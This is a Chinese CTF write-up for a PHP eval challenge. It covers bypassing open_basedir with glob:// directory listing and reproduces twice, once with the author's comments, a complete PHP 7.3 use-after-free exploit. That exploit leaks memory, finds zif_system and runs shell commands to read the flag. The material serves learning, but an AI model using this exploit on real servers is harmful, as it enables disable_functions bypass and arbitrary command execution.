信息收集
下载index.php并查看,和上题差不多
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}
查根目录的时候失败了,不允许使用scandir进行目录穿透。关于open_basedir的博客:
open_basedir绕过
PHP之如何绕过open_basedir
open_basedir绕过
绕过 open_basedir
简单来说就是open_basedir是个白名单,如果设置,仅白名单可访问;如果不设置,白名单功能不启用,所有地址都能访问
解题
蚁剑连接,简单粗暴
上面那篇博客写入一句话木马,然后连蚁剑接。我这只是蚁剑直接连接就连上了,不亏是蚁剑,这用就连上了。我还在考虑用什么函数写入一句话木马呢
手工获取
当然,做题不是目的,是过程
所以我们应当学习怎么手工绕过
首要目标是获取flag所在目录的信息,因为这个flag肯定不可能是原名了
symlink
、ini_set
和file_put_contents
被禁用了
仅有glob可用
使用glob协议读取目录
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>"; //遍历输出,末尾加一个<br>标签,这能好看些}closedir($a);ob_flush();
}
glob路径解析顺序:
通配符展开:glob:// 会先展开通配符,生成实际路径列表。
路径检查:PHP 在展开后的路径上应用 open_basedir 检查。
如果 glob:// 的原始路径(如 glob:///*)本身在 open_basedir 允许的范围内(例如允许 /tmp),但展开后的路径(如 /etc/passwd)超出范围。php7.4+版本已修复7.0.x-7.3.x部分版本开始陆续修复
怎么读,找大佬的代码读
其中data=“”“payload”“”,python中的""" """
不是表示多行注释,而是多行字符串
如果你要写到hackbar里的话,需要使用python的urllib.parse.quote()
,或是找个在线网站转也行
payload我写下面了,太长了
payload
c=?><?php
ctfshow("ls /;cat /flag0.txt");function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf('%c',$ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf('%c',$v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) {# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) {$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10;$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}
这段代码非常难读,而且是php的,不好调试,如果要调试可以使用var_export(),这个函数未被禁用
或者自己搭建php7.3.11版本的,因为题目就是这个版本的,我自己弄得7.3.33版本太高,已经修复了这个问题
web71 目录 web73
代码简单解析
这一小段内容并不重要,这是关于pwn的东西
接下来讲一讲代码大概得思路,其他的有兴趣自己看看吧,我也没完全看懂的,只能挑我看懂的讲
ELF结构我也没学过,我只懂一点PE结构,所以类似的操作我也能略懂一点
想要手动实验需要一个编译好的php版本,并调试这个带符号的php版本,这也太麻烦了,肯定很多坑。我就肉眼看看,很多东西没有实验,只是基于我认知给出的一些猜测。如果有错误,还请指正。
摘抄自php-src版本php7-3.11
我没找到zend_ulong
的定义,就当是个ulong
吧
无论我怎么算,这些结构体对应代码的偏移仍有出入,这必须得手动调试才能看出整个程序的精妙之处
如果有大佬读得懂这些代码,也可以评论区指点我一下
typedef struct _zend_refcounted_h {uint32_t refcount; /* reference counter 32-bit */union {uint32_t type_info;} u;
} zend_refcounted_h;struct _zend_string {zend_refcounted_h gc;zend_ulong h; /* hash value */size_t len;char val[1]; //字符串头指针
};struct _zend_object {zend_refcounted_h gc;// :0uint32_t handle; // :8 // TODO: may be removed ???zend_class_entry *ce; // :12 (+4 进行8位对齐?)const zend_object_handlers *handlers;HashTable *properties;zval properties_table[1]; //字符串头指针
};typedef struct _zend_internal_function {/* Common elements */zend_uchar type;zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */uint32_t fn_flags;zend_string* function_name;zend_class_entry *scope;zend_function *prototype;uint32_t num_args;uint32_t required_num_args;zend_internal_arg_info *arg_info; // 0x30/* END of common elements */zif_handler handler;struct _zend_module_entry *module;void *reserved[ZEND_MAX_RESERVED_RESOURCES]; // 0x48 假设sizeof(zif_handler) = 8
} zend_internal_function;typedef union _zend_function {zend_uchar type; /* MUST be the first element of this struct! */uint32_t quick_arg_flags;struct {zend_uchar type; /* never used */zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */uint32_t fn_flags;zend_string *function_name;zend_class_entry *scope;union _zend_function *prototype;uint32_t num_args;uint32_t required_num_args;zend_arg_info *arg_info;} common;zend_op_array op_array;zend_internal_function internal_function;
}zend_function;typedef struct _zend_closure {zend_object std; // :0zend_function func; // :0x2C 假设需要对齐8则这里是0x30zval this_ptr; // :(0x28)0x30+0x48zend_class_entry *called_scope;zif_handler orig_internal_handler;
} zend_closure;
c=?><?php
ctfshow("ls /;cat /flag0.txt");function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; // 这个unset不知道有什么作用,可能只是事先清理一下,以防赋值触发其他的垃圾回收导致失败unset($this->a);// 先拿到堆栈,或者说我们先拿了它的指针,后面有大用$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace();}}}// 某种结构体,猜不出来,php我甚至不知道这个结构体的内存分布class Helper {public $a, $b, $c, $d;}// 8个1组,小端存储 (str ==> 小端hex)function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}// 8个一组,小端存储hex,转字符串function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf('%c',$ptr & 0xff);$ptr >>= 8;}return $out;}//向字符串的指定偏移写入小端序的数值//详细:把$v(小端存储)的内容写到$str偏移$p的位置,写入大小是$nfunction write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf('%c',$v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;// 查struct _zend_string,如果32位机器下ulong size_t是4字节的话,那么8+4+4刚好是0x10,这是我猜的// 当然,如果size_t是8怎么办,那样就是8+8+8=0x18write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);var_export($leak);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {// 这里刚好是79个A,那么总占位80个字符,可能是某种结构体的大小,也可能必须是80个占位符才能实现溢出$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}// 使用str_shuffle生成的字符串是结构体zend_string$n_alloc = 10;$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');// [ zend_string 1 ] -> [ zend_string 2 ] -> ... -> [ zend_string 10 ] -> [ 释放的 $a 内存 ]// var_export($backtrace); echo "\n<br>------------------------";/*array (0 => array ('file' => '/var/www/html/index.php(19) : eval()\'d code','line' => 139,'function' => '__destruct','class' => 'Vuln','type' => '->','args' => array (),),1 => array ('file' => '/var/www/html/index.php(19) : eval()\'d code','line' => 153,'function' => 'trigger_uaf','args' => array (0 => 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',),),2 => array ('file' => '/var/www/html/index.php(19) : eval()\'d code','line' => 3,'function' => 'ctfshow','args' => array (0 => 'ls /;cat /flag0.txt',),),3 => array ('file' => '/var/www/html/index.php','line' => 19,'function' => 'eval',),)*/// 这里取$backtrace[1]['args'][0]也就是 trigger_uaf里的79个A,这个指针理应被释放了,却被$backtrace保存下来了// 这个指针被称作悬空指针,我不知道这个指针如何保存的,但不论是堆还是栈里这个指针及其内容都相当容易被覆盖$abc = $backtrace[1]['args'][0];//var_export($abc); echo "\n<br>------------------------";// 这里应该是在精心构造一个闭包对象,恰好覆盖在之前使用的trigger_uaf函数堆栈上// 闭包对象指的是function($x) {} 这个匿名函数对象$helper = new Helper;$helper->b = function ($x) { };// 这里无法成功打印$abc或是$backtrace了,因为堆栈被破坏了// 检查是否覆盖成功,成功了不可能是0开头,也不是79个Aif(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}// 现在需要手工恢复堆栈// 这里的细节只有实验了才能知道,我无法猜测// 这里是在读取被覆盖的信息,这可能是一些指针// 例如根据closure_handler猜测,在读取的可能是之前的闭包对象结构体的内容$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;// 这种可能是写入一些标志,这写得对照运行内存进行查看write($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);/*这段非常像找导出表的的函数
+----------------+ +-----------------+ +-----------------+
| leak() | → | get_binary_base | → | parse_elf |
| 泄漏内存数据 | | 获取ELF基地址 | | 解析ELF段信息 |
+----------------+ +-----------------+ +-----------------+↓+---------------------------------+| get_basic_funcs 定位基础函数表 |+---------------------------------+↓+---------------------------------+| get_system 获取system地址 |+---------------------------------+
*/$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}
web71 目录 web73